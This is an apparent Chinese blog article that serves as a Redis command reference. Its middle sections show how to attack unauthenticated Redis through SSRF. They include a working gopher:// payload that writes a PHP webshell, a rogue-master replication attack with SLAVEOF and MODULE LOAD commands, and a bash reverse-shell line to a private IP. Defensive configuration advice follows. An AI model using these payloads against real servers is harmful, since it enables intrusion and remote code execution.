当前位置: 首页 > article >正文

基础知识《Redis解析》

Redis 详细解析与介绍

Redis(Remote Dictionary Server)是一个开源的高性能键值对(Key-Value)数据库,支持多种数据结构(如字符串、哈希、列表、集合等),广泛应用于缓存、消息队列、实时数据分析等场景。

核心特点:
  1. 内存存储:数据主要存储在内存中,读写性能极高(10万+/秒 QPS)。
  2. 持久化支持:支持 RDB(快照)和 AOF(追加日志)两种持久化方式。
  3. 多数据结构:支持字符串、哈希、列表、集合、有序集合等。
  4. 单线程模型:避免锁竞争,通过异步I/O处理高并发。
  5. 高可用与集群:支持主从复制、哨兵模式(Sentinel)和集群模式(Cluster)。

Redis 常用命令大全

1. 通用命令
命令说明示例
KEYS pattern匹配所有符合模式的键KEYS user:*
DEL key删除指定键DEL user:1
EXPIRE key seconds设置键的过期时间(秒)EXPIRE user:1 60
TTL key查看键剩余过期时间TTL user:1
TYPE key查看键的数据类型TYPE user:1
2. 字符串(String)
命令说明示例
SET key value设置键值SET name "Alice"
GET key获取键值GET name
INCR key键值自增1INCR counter
APPEND key val追加字符串APPEND name " Smith"
3. 哈希(Hash)
命令说明示例
HSET key field val设置哈希字段值HSET user:1 name "Alice"
HGET key field获取哈希字段值HGET user:1 name
HGETALL key获取所有字段和值HGETALL user:1
4. 列表(List)
命令说明示例
LPUSH key val从列表左侧插入元素LPUSH tasks "task1"
RPOP key从右侧弹出元素RPOP tasks
LRANGE key s e获取列表范围元素LRANGE tasks 0 -1
5. 集合(Set)
命令说明示例
SADD key member添加元素到集合SADD tags "redis"
SMEMBERS key获取集合所有元素SMEMBERS tags
SINTER key1 key2求两个集合的交集SINTER tags1 tags2

SSRF漏洞利用与Redis相关命令

什么是SSRF?

SSRF(Server-Side Request Forgery)是攻击者诱使服务器向内部或第三方系统发起恶意请求的漏洞。结合未授权访问的Redis服务,攻击者可通过SSRF执行高危操作。

Redis SSRF利用场景
  1. 目标环境

    • Redis未设置密码(默认无认证)。
    • Redis服务暴露在内网或公网(默认端口6379)。
  2. 攻击步骤

    • 探测Redis服务:通过SSRF访问 http://victim.com/ssrf?url=redis://内网IP:6379
    • 执行恶意命令:利用Redis协议发送命令,如写入Webshell、反弹Shell等。
高危Redis命令与利用

以下命令常被用于攻击:

命令利用场景
FLUSHALL清空所有数据,为后续攻击做准备。
CONFIG SET dir /path设置Redis持久化目录(如Web目录)。
CONFIG SET dbfilename设置持久化文件名(如写入Webshell shell.php)。
SET key "恶意代码"写入恶意内容到数据库。
SAVE触发持久化操作,将数据写入文件(如生成Webshell)。
MODULE LOAD /path.so加载恶意Redis模块(需提前上传)。
SLAVEOF host port设置主从复制,从恶意服务器同步数据(用于RCE)。
EVAL "lua脚本" 0执行Lua脚本(可能用于漏洞利用)。
攻击案例:通过SSRF写入Webshell
# 通过Gopher协议发送Redis命令(需URL编码)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
  1. Redis安全配置

    • 设置密码认证(requirepass)。
    • 禁用高危命令(通过 rename-command 重命名或禁用)。
    • 限制绑定IP(bind 127.0.0.1)。
  2. SSRF防护

    • 校验用户输入的URL,禁止访问内网IP和敏感端口。
    • 使用白名单域名/IP限制请求目标。

Redis 主从复制攻击详解整合

主从复制攻击原理

Redis 主从复制(Replication)机制允许从节点(Slave)同步主节点(Master)的数据。攻击者可利用此特性,强制目标Redis作为从节点连接到攻击者控制的恶意主节点,通过同步恶意数据(如加载动态模块或写入Webshell),最终实现远程代码执行(RCE)。

攻击前提条件
  1. Redis未授权访问:目标Redis无密码认证或密码被破解。
  2. SSRF漏洞存在:可通过SSRF触发Redis协议交互(如gopher://dict://)。
  3. 目标Redis支持模块加载(4.x以上版本)或允许文件写入(如Web目录可写)。
攻击步骤与命令
1. 准备恶意主节点
  • 使用工具搭建恶意Redis主节点(如Redis Rogue Server):
    python3 redis-rogue-server.py --rhost <目标IP> --rport 6379 --lhost <攻击者IP> --lport 21000
    
    • 该工具会自动生成恶意模块(.so文件),通过主从复制同步到目标Redis。
2. 强制目标Redis成为从节点

通过SSRF发送SLAVEOF命令,将目标Redis设置为恶意主节点的从节点:

# 通过Gopher协议发送SLAVEOF命令(需URL编码)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻击者IP长度>%0d%0a<攻击者IP>%0d%0a$5%0d%0a21000%0d%0a
  • 关键命令SLAVEOF <攻击者IP> <端口>
3. 数据同步与恶意模块加载
  1. 目标Redis连接恶意主节点后,自动同步数据。
  2. 恶意主节点发送包含恶意模块(如exp.so)的备份文件。
  3. 通过MODULE LOAD命令加载恶意模块,执行任意命令:
    MODULE LOAD ./exp.so
    system.exec "id"  # 通过模块函数执行系统命令
    
自动化利用工具
  • Redis Rogue Server:一键化主从复制攻击工具,支持RCE。
  • Redis SSRF Exploit:通过SSRF直接发送Payload,无需公网IP。
防御措施
  1. 禁用高危命令
    redis.conf中禁用SLAVEOFMODULE相关命令:
    rename-command SLAVEOF ""
    rename-command MODULE ""
    
  2. 启用认证
    强制使用密码访问:
    requirepass <强密码>
    
  3. 网络隔离
    • 限制Redis仅监听内网(bind 127.0.0.1)。
    • 防火墙规则禁止外部访问Redis端口(6379)。
  4. 最小化模块功能
    非必要场景禁用Redis模块加载。
攻击案例演示
  1. 场景:存在SSRF漏洞的Web应用,内网Redis未授权访问。
  2. 利用
   # 通过SSRF发送SLAVEOF命令
   http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
  1. 结果:目标Redis加载恶意模块,攻击者执行system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"反弹Shell。

Redis 模块管理

一、模块管理命令
  1. MODULE LIST
    查看当前已加载的所有模块,返回模块名称、版本及描述信息。例如:

    MODULE LIST
    

    该命令常用于确认模块是否加载成功。

  2. MODULE LOAD <path> [arg1 arg2 ...]
    动态加载指定路径的模块(.so文件),支持传递参数到模块的 RedisModule_OnLoad 函数。例如:

    MODULE LOAD /path/to/my_module.so arg1 arg2
    

    参数会通过 argvargc 传递给模块的初始化函数 。

  3. MODULE UNLOAD <module-name>
    卸载指定名称的模块(需使用模块注册时的名称,而非文件名)。例如:

    MODULE UNLOAD my_module
    

    若模块定义了 RedisModule_OnUnload 函数,卸载时会自动调用该函数进行资源清理 。

二、配置文件加载模块

在 Redis 启动时通过 redis.conf 配置文件加载模块:

loadmodule /path/to/module.so [arg1 arg2 ...]

此方式适合生产环境,确保模块随 Redis 服务启动自动加载。


Redis CONFIG SET 命令的核心功能、用法及注意事项

一、命令功能

CONFIG SET 允许在 Redis 不重启 的情况下动态修改服务器配置参数,适用于调整内存限制、持久化策略、日志行为等场景。
主要特性

  1. 实时生效:修改的参数会立即加载并影响后续操作。
  2. 支持参数广泛:涵盖大多数 redis.conf 中的配置项(如 maxmemorysaveappendonly 等)。
  3. 灵活性:支持从 RDB 快照切换为 AOF 持久化,或同时启用两者。
二、语法与基本用法
语法
CONFIG SET parameter value [parameter value ...]  
  • 单参数设置CONFIG SET maxmemory 4gb
  • 多参数设置(Redis 7.0+):CONFIG SET maxmemory 4gb save "900 1 300 10"

http://www.kler.cn/a/585403.html

相关文章:

  • Linux常用命令速查手册
  • MATLAB中edit函数用法
  • qt style-sheet样式不起作用问答
  • 什么是 Redis
  • HiPixel开源AI驱动的图像超分辨率的原生macOS 应用程序,使用 SwiftUI 构建并利用 Upscayl 强大的 AI 模型
  • 【6】拓扑排序学习笔记
  • Unity | 工具类:消息管理器-延迟分发
  • 如何解决 制造企业“一物多码”
  • Chrome 扩展开发 API实战:Proxy(七)
  • 呵护斜颈老人:解锁护理关键,重塑健康生活
  • 网站域名解析怎么更换DNS服务器?需要注意什么?
  • 抽象工厂模式的C++实现示例
  • 前端笔试常见的选择题目整理(HTML/CSS、JavaScript、框架、性能优化)
  • VIC模型率定验证
  • 从零基础到能独立设计单片机产品,一般需要经历哪些学习阶段?
  • 鸿蒙初级考试备忘
  • SmartFormat:轻量级文本模板库,轻松替代 string.Format
  • 如何上传文件到github
  • NAT 和 IP 直接通信的区别
  • 汽车无钥匙启动系统不使用传统机械钥匙启动汽车